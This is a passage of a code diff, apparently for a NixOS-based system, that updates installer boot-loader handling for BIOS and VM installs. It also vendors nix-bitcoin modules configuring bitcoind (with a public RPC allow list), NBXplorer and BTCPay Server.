||||
|
||||
mount "$BOOT_P2" /mnt
|
||||
mkdir -p /mnt/boot/efi
|
||||
mount -o umask=0077,defaults "$BOOT_P1" /mnt/boot/efi
|
||||
if [[ "$BOOT_MODE" == "uefi" ]]; then
|
||||
mkdir -p /mnt/boot/efi
|
||||
mount -o umask=0077,defaults "$BOOT_P1" /mnt/boot/efi
|
||||
else
|
||||
log "Legacy BIOS install: /boot/efi mount not required"
|
||||
fi
|
||||
|
||||
if [[ -n "$DATA_DISK" ]]; then
|
||||
DATA_P1=$(part_suffix "$DATA_DISK" 1)
|
||||
@@ -219,16 +270,41 @@ case "$ROLE" in
|
||||
IS_SERVER=false; IS_DESKTOP=false; IS_NODE=true ;;
|
||||
esac
|
||||
|
||||
cat > /mnt/etc/nixos/role-state.nix <<EOF
|
||||
{
|
||||
cat <<EOF
|
||||
# THIS FILE IS AUTO-GENERATED BY THE INSTALLER. DO NOT EDIT.
|
||||
{ config, lib, ... }:
|
||||
{
|
||||
sovran_systemsOS.roles.server_plus_desktop = lib.mkDefault ${IS_SERVER};
|
||||
sovran_systemsOS.roles.desktop = lib.mkDefault ${IS_DESKTOP};
|
||||
sovran_systemsOS.roles.node = lib.mkDefault ${IS_NODE};
|
||||
}
|
||||
EOF
|
||||
|
||||
if [[ "$BOOT_MODE" == "bios" ]]; then
|
||||
GRUB_DEVICE=$(nix_string "$DISK")
|
||||
cat <<EOF
|
||||
|
||||
# The installer ISO was booted in Legacy BIOS mode, so install GRUB to the
|
||||
# target disk instead of using the default UEFI systemd-boot configuration.
|
||||
boot.loader.systemd-boot.enable = lib.mkForce false;
|
||||
boot.loader.efi.canTouchEfiVariables = lib.mkForce false;
|
||||
boot.loader.grub.enable = lib.mkForce true;
|
||||
boot.loader.grub.device = lib.mkForce ${GRUB_DEVICE};
|
||||
fileSystems."/boot/efi".enable = lib.mkForce false;
|
||||
EOF
|
||||
elif [[ -n "$VIRTUALIZATION" ]]; then
|
||||
cat <<EOF
|
||||
|
||||
# VM UEFI firmware can reject or forget NVRAM boot-entry writes. Keep the
|
||||
# normal UEFI systemd-boot layout, but use the fallback removable path instead
|
||||
# of depending on EFI variable updates.
|
||||
boot.loader.efi.canTouchEfiVariables = lib.mkForce false;
|
||||
EOF
|
||||
fi
|
||||
|
||||
echo "}"
|
||||
} > /mnt/etc/nixos/role-state.nix
|
||||
|
||||
# ── Step 10: Write custom.nix with deploy config ──────────────────────────────
|
||||
log "=== Writing custom.nix ==="
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
{ config, pkgs, lib, ... }:
|
||||
|
||||
lib.mkIf config.sovran_systemsOS.features.bitcoin-core {
|
||||
|
||||
services.bitcoind.package = lib.mkForce config.nix-bitcoin.pkgs.bitcoind;
|
||||
|
||||
# Vendored nix-bitcoin now uses nixpkgs directly; no nix-bitcoin.pkgs indirection.
|
||||
# Use standard bitcoind from nixpkgs (override to knots if desired via pkgs.bitcoind-knots)
|
||||
services.bitcoind.package = lib.mkForce pkgs.bitcoind;
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
# RPC calls that are safe for public use
|
||||
# Vendored from nix-bitcoin - do not fetch from upstream at runtime
|
||||
[
|
||||
"echo"
|
||||
"getinfo"
|
||||
"getindexinfo"
|
||||
"help"
|
||||
"ping"
|
||||
"uptime"
|
||||
# Blockchain
|
||||
"getbestblockhash"
|
||||
"getblock"
|
||||
"getblockchaininfo"
|
||||
"getblockcount"
|
||||
"getblockfilter"
|
||||
"getblockfrompeer"
|
||||
"getblockhash"
|
||||
"getblockheader"
|
||||
"getblockstats"
|
||||
"getchaintips"
|
||||
"getchaintxstats"
|
||||
"getdeploymentinfo"
|
||||
"getdifficulty"
|
||||
"getmempoolancestors"
|
||||
"getmempooldescendants"
|
||||
"getmempoolentry"
|
||||
"getmempoolinfo"
|
||||
"getrawmempool"
|
||||
"gettxout"
|
||||
"gettxoutproof"
|
||||
"gettxoutsetinfo"
|
||||
"scantxoutset"
|
||||
"verifytxoutproof"
|
||||
# Mining
|
||||
"getblocktemplate"
|
||||
"getmininginfo"
|
||||
"getnetworkhashps"
|
||||
# Network
|
||||
"getnetworkinfo"
|
||||
"getnodeaddresses"
|
||||
"getpeerinfo"
|
||||
# Rawtransactions
|
||||
"analyzepsbt"
|
||||
"combinepsbt"
|
||||
"combinerawtransaction"
|
||||
"converttopsbt"
|
||||
"createpsbt"
|
||||
"createrawtransaction"
|
||||
"decodepsbt"
|
||||
"decoderawtransaction"
|
||||
"decodescript"
|
||||
"finalizepsbt"
|
||||
"fundrawtransaction"
|
||||
"getrawtransaction"
|
||||
"joinpsbts"
|
||||
"sendrawtransaction"
|
||||
"signrawtransactionwithkey"
|
||||
"testmempoolaccept"
|
||||
"utxoupdatepsbt"
|
||||
# Util
|
||||
"createmultisig"
|
||||
"deriveaddresses"
|
||||
"estimatesmartfee"
|
||||
"getdescriptorinfo"
|
||||
"signmessagewithprivkey"
|
||||
"validateaddress"
|
||||
"verifymessage"
|
||||
# Zmq
|
||||
"getzmqnotifications"
|
||||
]
|
||||
@@ -0,0 +1,506 @@
|
||||
{ config, pkgs, lib, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options = {
|
||||
services.bitcoind = {
|
||||
enable = mkEnableOption "Bitcoin daemon";
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen for peer connections.";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = if !cfg.regtest then 8333 else 18444;
|
||||
defaultText = "if !cfg.regtest then 8333 else 18444";
|
||||
description = "Port to listen for peer connections.";
|
||||
};
|
||||
onionPort = mkOption {
|
||||
type = types.nullOr types.port;
|
||||
# When the bitcoind onion service is enabled, add an onion-tagged socket
|
||||
# to distinguish local connections from Tor connections
|
||||
default = if (config.nix-bitcoin.onionServices.bitcoind.enable or false) then 8334 else null;
|
||||
description = ''
|
||||
Port to listen for Tor peer connections.
|
||||
If set, inbound connections to this port are tagged as onion peers.
|
||||
'';
|
||||
};
|
||||
listen = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Listen for peer connections at `address:port`
|
||||
and `address:onionPort` (if {option}`onionPort` is set).
|
||||
'';
|
||||
};
|
||||
listenWhitelisted = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Listen for peer connections at `address:whitelistedPort`.
|
||||
Peers connected through this socket are automatically whitelisted.
|
||||
'';
|
||||
};
|
||||
whitelistedPort = mkOption {
|
||||
type = types.port;
|
||||
default = 8335;
|
||||
description = "See `listenWhitelisted`.";
|
||||
};
|
||||
getPublicAddressCmd = mkOption {
|
||||
type = types.str;
|
||||
default = "";
|
||||
description = ''
|
||||
Bash expression which outputs the public service address to announce to peers.
|
||||
If left empty, no address is announced.
|
||||
'';
|
||||
};
|
||||
package = mkOption {
|
||||
type = types.package;
|
||||
default = pkgs.bitcoind;
|
||||
defaultText = "pkgs.bitcoind";
|
||||
description = ''
|
||||
The package providing bitcoind binaries.
|
||||
|
||||
You can use this option to select other bitcoind-compatible implementations.
|
||||
Example:
|
||||
```nix
|
||||
services.bitcoind.package = pkgs.bitcoind-knots;
|
||||
```
|
||||
'';
|
||||
};
|
||||
extraConfig = mkOption {
|
||||
type = types.lines;
|
||||
default = "";
|
||||
example = ''
|
||||
par=16
|
||||
logips=1
|
||||
'';
|
||||
description = "Extra lines appended to {file}`bitcoin.conf`.";
|
||||
};
|
||||
dataDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/var/lib/bitcoind";
|
||||
description = "The data directory for bitcoind.";
|
||||
};
|
||||
rpc = {
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = ''
|
||||
Address to listen for JSON-RPC connections.
|
||||
'';
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = if !cfg.regtest then 8332 else 18443;
|
||||
defaultText = "if !cfg.regtest then 8332 else 18443";
|
||||
description = "Port to listen for JSON-RPC connections.";
|
||||
};
|
||||
threads = mkOption {
|
||||
type = types.nullOr types.ints.u16;
|
||||
default = null;
|
||||
description = "The number of threads to service RPC calls.";
|
||||
};
|
||||
allowip = mkOption {
|
||||
type = types.listOf types.str;
|
||||
default = [ "127.0.0.1" ];
|
||||
description = ''
|
||||
Allow JSON-RPC connections from specified sources.
|
||||
'';
|
||||
};
|
||||
users = mkOption {
|
||||
default = {};
|
||||
description = ''
|
||||
Allowed users for JSON-RPC connections.
|
||||
'';
|
||||
example = {
|
||||
alice = {
|
||||
passwordHMAC = "f7efda5c189b999524f151318c0c86$d5b51b3beffbc02b724e5d095828e0bc8b2456e9ac8757ae3211a5d9b16a22ae";
|
||||
rpcwhitelist = [ "sendtoaddress" "getnewaddress" ];
|
||||
};
|
||||
};
|
||||
type = with types; attrsOf (submodule ({ name, ... }: {
|
||||
options = {
|
||||
name = mkOption {
|
||||
type = types.str;
|
||||
default = name;
|
||||
example = "alice";
|
||||
description = ''
|
||||
Username for JSON-RPC connections.
|
||||
'';
|
||||
};
|
||||
passwordHMAC = mkOption {
|
||||
type = types.str;
|
||||
example = "f7efda5c189b999524f151318c0c86$d5b51b3beffbc02b724e5d095828e0bc8b2456e9ac8757ae3211a5d9b16a22ae";
|
||||
description = ''
|
||||
Password HMAC-SHA-256 for JSON-RPC connections. Must be a string of the
|
||||
format `<SALT-HEX>$<HMAC-HEX>`.
|
||||
'';
|
||||
};
|
||||
passwordHMACFromFile = mkOption {
|
||||
type = lib.types.bool;
|
||||
internal = true;
|
||||
default = false;
|
||||
};
|
||||
rpcwhitelist = mkOption {
|
||||
type = types.listOf types.str;
|
||||
default = [];
|
||||
description = ''
|
||||
List of allowed rpc calls for each user.
|
||||
If empty list, rpcwhitelist is disabled for that user.
|
||||
'';
|
||||
};
|
||||
};
|
||||
}));
|
||||
};
|
||||
};
|
||||
regtest = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable regtest mode.";
|
||||
};
|
||||
network = mkOption {
|
||||
readOnly = true;
|
||||
default = if cfg.regtest then "regtest" else "mainnet";
|
||||
};
|
||||
makeNetworkName = mkOption {
|
||||
readOnly = true;
|
||||
default = mainnet: regtest: if cfg.regtest then regtest else mainnet;
|
||||
};
|
||||
proxy = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = if cfg.tor.proxy then config.nix-bitcoin.torClientAddressWithPort else null;
|
||||
description = "Connect through SOCKS5 proxy";
|
||||
};
|
||||
i2p = mkOption {
|
||||
type = types.enum [ false true "only-outgoing" ];
|
||||
default = false;
|
||||
description = ''
|
||||
Enable peer connections via i2p.
|
||||
With `only-outgoing`, incoming i2p connections are disabled.
|
||||
'';
|
||||
};
|
||||
dataDirReadableByGroup = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
If enabled, data dir content is readable by the bitcoind service group.
|
||||
Warning: This disables bitcoind's wallet support.
|
||||
'';
|
||||
};
|
||||
sysperms = mkOption {
|
||||
type = types.nullOr types.bool;
|
||||
default = null;
|
||||
description = ''
|
||||
Create new files with system default permissions, instead of umask 077
|
||||
(only effective with disabled wallet functionality)
|
||||
'';
|
||||
};
|
||||
disablewallet = mkOption {
|
||||
type = types.nullOr types.bool;
|
||||
default = null;
|
||||
description = ''
|
||||
Do not load the wallet and disable wallet RPC calls
|
||||
'';
|
||||
};
|
||||
dbCache = mkOption {
|
||||
type = types.nullOr (intAtLeast 4);
|
||||
default = null;
|
||||
example = 4000;
|
||||
description = "Override the default database cache size in MiB.";
|
||||
};
|
||||
prune = mkOption {
|
||||
type = types.ints.unsigned;
|
||||
default = 0;
|
||||
example = 10000;
|
||||
description = ''
|
||||
Automatically prune block files to stay under the specified target size in MiB.
|
||||
Value 0 disables pruning.
|
||||
'';
|
||||
};
|
||||
txindex = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable the transaction index.";
|
||||
};
|
||||
zmqpubrawblock = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = null;
|
||||
example = "tcp://127.0.0.1:28332";
|
||||
description = "ZMQ address for zmqpubrawblock notifications";
|
||||
};
|
||||
zmqpubrawtx = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = null;
|
||||
example = "tcp://127.0.0.1:28333";
|
||||
description = "ZMQ address for zmqpubrawtx notifications";
|
||||
};
|
||||
assumevalid = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = null;
|
||||
example = "00000000000000000000e5abc3a74fe27dc0ead9c70ea1deb456f11c15fd7bc6";
|
||||
description = ''
|
||||
If this block is in the chain assume that it and its ancestors are
|
||||
valid and potentially skip their script verification.
|
||||
'';
|
||||
};
|
||||
addnodes = mkOption {
|
||||
type = types.listOf types.str;
|
||||
default = [];
|
||||
example = [ "ecoc5q34tmbq54wl.onion" ];
|
||||
description = "Add nodes to connect to and attempt to keep the connections open";
|
||||
};
|
||||
discover = mkOption {
|
||||
type = types.nullOr types.bool;
|
||||
default = null;
|
||||
description = "Discover own IP addresses";
|
||||
};
|
||||
addresstype = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = null;
|
||||
example = "bech32";
|
||||
description = "The type of addresses to use";
|
||||
};
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "bitcoin";
|
||||
description = "The user as which to run bitcoind.";
|
||||
};
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.user;
|
||||
description = "The group as which to run bitcoind.";
|
||||
};
|
||||
cli = mkOption {
|
||||
readOnly = true;
|
||||
type = types.package;
|
||||
default = pkgs.writers.writeBashBin "bitcoin-cli" ''
|
||||
exec ${cfg.package}/bin/bitcoin-cli -datadir='${cfg.dataDir}' "$@"
|
||||
'';
|
||||
defaultText = "(See source)";
|
||||
description = "Binary to connect with the bitcoind instance.";
|
||||
};
|
||||
tor = nbLib.tor;
|
||||
};
|
||||
};
|
||||
|
||||
cfg = config.services.bitcoind;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
secretsDir = config.nix-bitcoin.secretsDir;
|
||||
|
||||
i2pSAM = config.services.i2pd.proto.sam;
|
||||
|
||||
configFile = builtins.toFile "bitcoin.conf" ''
|
||||
# We're already logging via journald
|
||||
nodebuglogfile=1
|
||||
logtimestamps=0
|
||||
|
||||
startupnotify=/run/current-system/systemd/bin/systemd-notify --ready
|
||||
|
||||
${optionalString cfg.regtest ''
|
||||
regtest=1
|
||||
[regtest]
|
||||
''}
|
||||
${optionalString (cfg.dbCache != null) "dbcache=${toString cfg.dbCache}"}
|
||||
prune=${toString cfg.prune}
|
||||
${optionalString cfg.txindex "txindex=1"}
|
||||
${optionalString (cfg.sysperms != null) "sysperms=${if cfg.sysperms then "1" else "0"}"}
|
||||
${optionalString (cfg.disablewallet != null) "disablewallet=${if cfg.disablewallet then "1" else "0"}"}
|
||||
${optionalString (cfg.assumevalid != null) "assumevalid=${cfg.assumevalid}"}
|
||||
|
||||
# Connection options
|
||||
listen=${if (cfg.listen || cfg.listenWhitelisted) then "1" else "0"}
|
||||
${optionalString cfg.listen
|
||||
"bind=${cfg.address}:${toString cfg.port}"}
|
||||
${optionalString (cfg.listen && cfg.onionPort != null)
|
||||
"bind=${cfg.address}:${toString cfg.onionPort}=onion"}
|
||||
${optionalString cfg.listenWhitelisted
|
||||
"whitebind=${cfg.address}:${toString cfg.whitelistedPort}"}
|
||||
${optionalString (cfg.proxy != null) "proxy=${cfg.proxy}"}
|
||||
${optionalString (cfg.i2p != false) "i2psam=${nbLib.addressWithPort i2pSAM.address i2pSAM.port}"}
|
||||
${optionalString (cfg.i2p == "only-outgoing") "i2pacceptincoming=0"}
|
||||
|
||||
${optionalString (cfg.discover != null) "discover=${if cfg.discover then "1" else "0"}"}
|
||||
${lib.concatMapStrings (node: "addnode=${node}\n") cfg.addnodes}
|
||||
|
||||
# RPC server options
|
||||
rpcbind=${cfg.rpc.address}
|
||||
rpcport=${toString cfg.rpc.port}
|
||||
rpcconnect=${cfg.rpc.address}
|
||||
${optionalString (cfg.rpc.threads != null) "rpcthreads=${toString cfg.rpc.threads}"}
|
||||
rpcwhitelistdefault=0
|
||||
${concatMapStrings (user: ''
|
||||
${optionalString (!user.passwordHMACFromFile) "rpcauth=${user.name}:${user.passwordHMAC}"}
|
||||
${optionalString (user.rpcwhitelist != [])
|
||||
"rpcwhitelist=${user.name}:${lib.strings.concatStringsSep "," user.rpcwhitelist}"}
|
||||
'') (builtins.attrValues cfg.rpc.users)
|
||||
}
|
||||
${lib.concatMapStrings (rpcallowip: "rpcallowip=${rpcallowip}\n") cfg.rpc.allowip}
|
||||
|
||||
# Wallet options
|
||||
${optionalString (cfg.addresstype != null) "addresstype=${cfg.addresstype}"}
|
||||
|
||||
# ZMQ options
|
||||
${optionalString (cfg.zmqpubrawblock != null) "zmqpubrawblock=${cfg.zmqpubrawblock}"}
|
||||
${optionalString (cfg.zmqpubrawtx != null) "zmqpubrawtx=${cfg.zmqpubrawtx}"}
|
||||
|
||||
# Extra options
|
||||
${cfg.extraConfig}
|
||||
'';
|
||||
|
||||
zmqServerEnabled = (cfg.zmqpubrawblock != null) || (cfg.zmqpubrawtx != null);
|
||||
|
||||
intAtLeast = n: types.addCheck types.int (x: x >= n) // {
|
||||
name = "intAtLeast";
|
||||
description = "integer >= ${toString n}";
|
||||
};
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
environment.systemPackages = [ cfg.package (hiPrio cfg.cli) ];
|
||||
|
||||
services.bitcoind = mkMerge [
|
||||
(mkIf cfg.dataDirReadableByGroup {
|
||||
disablewallet = true;
|
||||
sysperms = true;
|
||||
})
|
||||
{
|
||||
rpc.users.privileged = {
|
||||
passwordHMACFromFile = true;
|
||||
};
|
||||
rpc.users.public = {
|
||||
passwordHMACFromFile = true;
|
||||
rpcwhitelist = import ./bitcoind-rpc-public-whitelist.nix;
|
||||
};
|
||||
}
|
||||
];
|
||||
|
||||
services.i2pd = mkIf (cfg.i2p != false) {
|
||||
enable = true;
|
||||
proto.sam.enable = true;
|
||||
};
|
||||
|
||||
systemd.tmpfiles.rules = [
|
||||
"d '${cfg.dataDir}' 0770 ${cfg.user} ${cfg.group} - -"
|
||||
];
|
||||
|
||||
systemd.services.bitcoind = rec {
|
||||
wants = [
|
||||
"network-online.target"
|
||||
# Use `wants` instead of `requires` for `nix-bitcoin-secrets.target`
|
||||
# so that bitcoind and all dependent services are not restarted when
|
||||
# the secrets target restarts.
|
||||
# The secrets target always restarts when deploying with one of the methods
|
||||
# in ./deployment.
|
||||
#
|
||||
# TODO-EXTERNAL: Instead of `wants`, use a future systemd dependency type
|
||||
# that propagates initial start failures but no restarts
|
||||
"nix-bitcoin-secrets.target"
|
||||
];
|
||||
after = wants;
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
|
||||
preStart = let
|
||||
extraRpcauth = concatMapStrings (name: let
|
||||
user = cfg.rpc.users.${name};
|
||||
in optionalString user.passwordHMACFromFile ''
|
||||
hmacPayload="$(readValidatedRpcHmac '${secretsDir}/bitcoin-HMAC-${name}')" || exit 1
|
||||
printf '%s\n' "rpcauth=${user.name}:$hmacPayload"
|
||||
''
|
||||
) (builtins.attrNames cfg.rpc.users);
|
||||
in ''
|
||||
${optionalString cfg.dataDirReadableByGroup ''
|
||||
if [[ -e '${cfg.dataDir}/blocks' ]]; then
|
||||
chmod -R g+rX '${cfg.dataDir}/blocks'
|
||||
fi
|
||||
''}
|
||||
|
||||
readValidatedRpcHmac() {
|
||||
local hmacFile="$1"
|
||||
local hmacPayload
|
||||
|
||||
if [[ ! -e "$hmacFile" ]]; then
|
||||
echo "Error: Bitcoin RPC HMAC file is missing: $hmacFile" >&2
|
||||
return 1
|
||||
fi
|
||||
if [[ ! -r "$hmacFile" ]]; then
|
||||
echo "Error: Bitcoin RPC HMAC file is unreadable: $hmacFile" >&2
|
||||
return 1
|
||||
fi
|
||||
|
||||
hmacPayload="$(<"$hmacFile")"
|
||||
if [[ -z "$hmacPayload" ]]; then
|
||||
echo "Error: Bitcoin RPC HMAC file is empty: $hmacFile" >&2
|
||||
return 1
|
||||
fi
|
||||
if [[ ! "$hmacPayload" =~ ^[[:xdigit:]]+\$[[:xdigit:]]+$ ]]; then
|
||||
echo "Error: Bitcoin RPC HMAC file has invalid format: $hmacFile" >&2
|
||||
return 1
|
||||
fi
|
||||
|
||||
printf '%s\n' "$hmacPayload"
|
||||
}
|
||||
|
||||
cfg=$(
|
||||
cat ${configFile}
|
||||
${extraRpcauth}
|
||||
echo
|
||||
${optionalString (cfg.getPublicAddressCmd != "") ''
|
||||
echo "externalip=$(${cfg.getPublicAddressCmd})"
|
||||
''}
|
||||
)
|
||||
confFile='${cfg.dataDir}/bitcoin.conf'
|
||||
if [[ ! -e $confFile || $cfg != $(cat $confFile) ]]; then
|
||||
install -o '${cfg.user}' -g '${cfg.group}' -m 640 <(echo "$cfg") $confFile
|
||||
fi
|
||||
'';
|
||||
|
||||
# Enable RPC access for group
|
||||
postStart = ''
|
||||
chmod g=r '${cfg.dataDir}/${optionalString cfg.regtest "regtest/"}.cookie'
|
||||
'' + (optionalString cfg.regtest) ''
|
||||
chmod g=x '${cfg.dataDir}/regtest'
|
||||
'';
|
||||
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
Type = "notify";
|
||||
NotifyAccess = "all";
|
||||
User = cfg.user;
|
||||
Group = cfg.group;
|
||||
TimeoutStartSec = "30min";
|
||||
TimeoutStopSec = "30min";
|
||||
ExecStart = "${cfg.package}/bin/bitcoind -datadir='${cfg.dataDir}'";
|
||||
Restart = "on-failure";
|
||||
UMask = mkIf cfg.dataDirReadableByGroup "0027";
|
||||
ReadWritePaths = [ cfg.dataDir ];
|
||||
} // nbLib.allowedIPAddresses cfg.tor.enforce
|
||||
// optionalAttrs zmqServerEnabled nbLib.allowNetlink;
|
||||
};
|
||||
|
||||
users.users.${cfg.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.group;
|
||||
};
|
||||
users.groups.${cfg.group} = {};
|
||||
users.groups.bitcoinrpc-public = {};
|
||||
|
||||
nix-bitcoin.operator.groups = [ cfg.group ];
|
||||
|
||||
nix-bitcoin.secrets = {
|
||||
bitcoin-rpcpassword-privileged.user = cfg.user;
|
||||
bitcoin-rpcpassword-public = {
|
||||
user = cfg.user;
|
||||
group = "bitcoinrpc-public";
|
||||
};
|
||||
|
||||
bitcoin-HMAC-privileged.user = cfg.user;
|
||||
bitcoin-HMAC-public.user = cfg.user;
|
||||
};
|
||||
nix-bitcoin.generateSecretsCmds.bitcoind = ''
|
||||
makeBitcoinRPCPassword privileged
|
||||
makeBitcoinRPCPassword public
|
||||
'';
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,334 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.services = {
|
||||
nbxplorer = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Enable nbxplorer, a lightweight API for Bitcoin HD wallets.
|
||||
|
||||
Access API documentation here:
|
||||
{option}`services.nbxplorer.address`:{option}`services.nbxplorer.port`
|
||||
'';
|
||||
};
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen on.";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 24444;
|
||||
description = "Port to listen on.";
|
||||
};
|
||||
package = mkOption {
|
||||
type = types.package;
|
||||
default = pkgs.stable.nbxplorer;
|
||||
defaultText = "pkgs.stable.nbxplorer";
|
||||
description = "The package providing nbxplorer binaries.";
|
||||
};
|
||||
dataDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/var/lib/nbxplorer";
|
||||
description = "The data directory for nbxplorer.";
|
||||
};
|
||||
# TODO-EXTERNAL:
|
||||
# The shortcut link `main` in the datadir has changed to a directory
|
||||
# in version 2.3.3.
|
||||
# Add a dummy symlink, if it does not already exist, to be compatible with older modules.
|
||||
# When the old system uses a link and the new system a directory, switching fails with:
|
||||
# mv: cannot move '/var/lib/nbxplorer/Main' to '/var/lib/nbxplorer/.Main.tmp':
|
||||
# No such file or directory
|
||||
#
|
||||
# Remove this option when it is irrelevant (i.e. when the old system will never
|
||||
# be nix-bitcoin <=0.0.91)
|
||||
addNetworkSymlink = mkOption {
|
||||
readOnly = true;
|
||||
default = pkgs.stable.nbxplorer != cfg.nbxplorer.package;
|
||||
description = ''
|
||||
Whether to add a compatibility symlink (like `${cfg.nbxplorer.dataDir}/Main`)
|
||||
to the dataDir.
|
||||
This is enabled by default if the nbxplorer package is set to the version-locked package.
|
||||
'';
|
||||
};
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "nbxplorer";
|
||||
description = "The user as which to run NBXplorer.";
|
||||
};
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.nbxplorer.user;
|
||||
description = "The group as which to run NBXplorer.";
|
||||
};
|
||||
tor = nbLib.tor;
|
||||
};
|
||||
|
||||
btcpayserver = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Enable BTCPay Server, a self-hosted, open-source payment processor.
|
||||
|
||||
Extra recommendations:
|
||||
- Enable `services.btcpayserver.lightningBackend` to provide Lightning payment support.
|
||||
- Secure this service if the instance is publically accessible. For example, set
|
||||
{option}`services.btcpayserver.address` to `127.0.0.1` and use a reverse proxy
|
||||
that enforces TLS (Transport Layer Security).
|
||||
'';
|
||||
};
|
||||
package = mkOption {
|
||||
type = types.package;
|
||||
default = pkgs.stable.btcpayserver;
|
||||
defaultText = "pkgs.stable.btcpayserver";
|
||||
description = "The package providing BTCPay Server binaries.";
|
||||
};
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen on.";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 23000;
|
||||
description = "Port to listen on.";
|
||||
};
|
||||
lightningBackend = mkOption {
|
||||
type = types.nullOr (types.enum [ "lnd" ]);
|
||||
default = null;
|
||||
description = ''
|
||||
The lightning node to use as a backend.
|
||||
Enables the node service if not already enabled.
|
||||
'';
|
||||
};
|
||||
lbtc = mkOption {
|
||||
readOnly = true;
|
||||
default = false;
|
||||
description = ''
|
||||
Enable Liquid support.
|
||||
'';
|
||||
};
|
||||
dataDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/var/lib/btcpayserver";
|
||||
description = "The data directory for BTCPay Server.";
|
||||
};
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "btcpayserver";
|
||||
description = "The user as which to run BTCPay Server.";
|
||||
};
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.btcpayserver.user;
|
||||
description = "The group as which to run BTCPay Server.";
|
||||
};
|
||||
tor = nbLib.tor;
|
||||
};
|
||||
};
|
||||
|
||||
cfg = {
|
||||
inherit (config.services)
|
||||
nbxplorer
|
||||
btcpayserver
|
||||
bitcoind;
|
||||
};
|
||||
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
secretsDir = config.nix-bitcoin.secretsDir;
|
||||
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkMerge [
|
||||
(mkIf cfg.nbxplorer.enable {
|
||||
systemd.tmpfiles.rules = [
|
||||
"d '${cfg.nbxplorer.dataDir}' 0770 ${cfg.nbxplorer.user} ${cfg.nbxplorer.group} - -"
|
||||
] ++ optional cfg.nbxplorer.addNetworkSymlink
|
||||
"L+ '${cfg.nbxplorer.dataDir}/Main' - - - - '${cfg.nbxplorer.dataDir}/main'";
|
||||
|
||||
systemd.services.nbxplorer = let
|
||||
configFile = builtins.toFile "nbxplorer-config" ''
|
||||
network=${cfg.bitcoind.network}
|
||||
btcrpcuser=${cfg.bitcoind.rpc.users.btcpayserver.name}
|
||||
btcrpcurl=http://${nbLib.addressWithPort cfg.bitcoind.rpc.address cfg.bitcoind.rpc.port}
|
||||
btcnodeendpoint=${nbLib.addressWithPort cfg.bitcoind.address cfg.bitcoind.whitelistedPort}
|
||||
bind=${cfg.nbxplorer.address}
|
||||
port=${toString cfg.nbxplorer.port}
|
||||
postgres=User ID=${cfg.nbxplorer.user};Host=/run/postgresql;Database=nbxplorer
|
||||
'';
|
||||
in rec {
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
requires = [ "postgresql.target" ];
|
||||
wants = [ "bitcoind.service" ];
|
||||
after = requires ++ wants ++ [ "nix-bitcoin-secrets.target" ];
|
||||
preStart = ''
|
||||
install -m 600 ${configFile} '${cfg.nbxplorer.dataDir}/settings.config'
|
||||
printf '%s\n' "btcrpcpassword=$(<${secretsDir}/bitcoin-rpcpassword-btcpayserver)" \
|
||||
>> '${cfg.nbxplorer.dataDir}/settings.config'
|
||||
'';
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
ExecStart = ''
|
||||
${cfg.nbxplorer.package}/bin/nbxplorer --conf=${cfg.nbxplorer.dataDir}/settings.config \
|
||||
--datadir='${cfg.nbxplorer.dataDir}'
|
||||
'';
|
||||
RuntimeDirectory = "nbxplorer";
|
||||
StateDirectory = "nbxplorer";
|
||||
User = cfg.nbxplorer.user;
|
||||
Group = cfg.nbxplorer.group;
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
ReadWritePaths = [ cfg.nbxplorer.dataDir ];
|
||||
MemoryDenyWriteExecute = false;
|
||||
} // nbLib.allowedIPAddresses cfg.nbxplorer.tor.enforce;
|
||||
};
|
||||
|
||||
services.bitcoind = {
|
||||
enable = true;
|
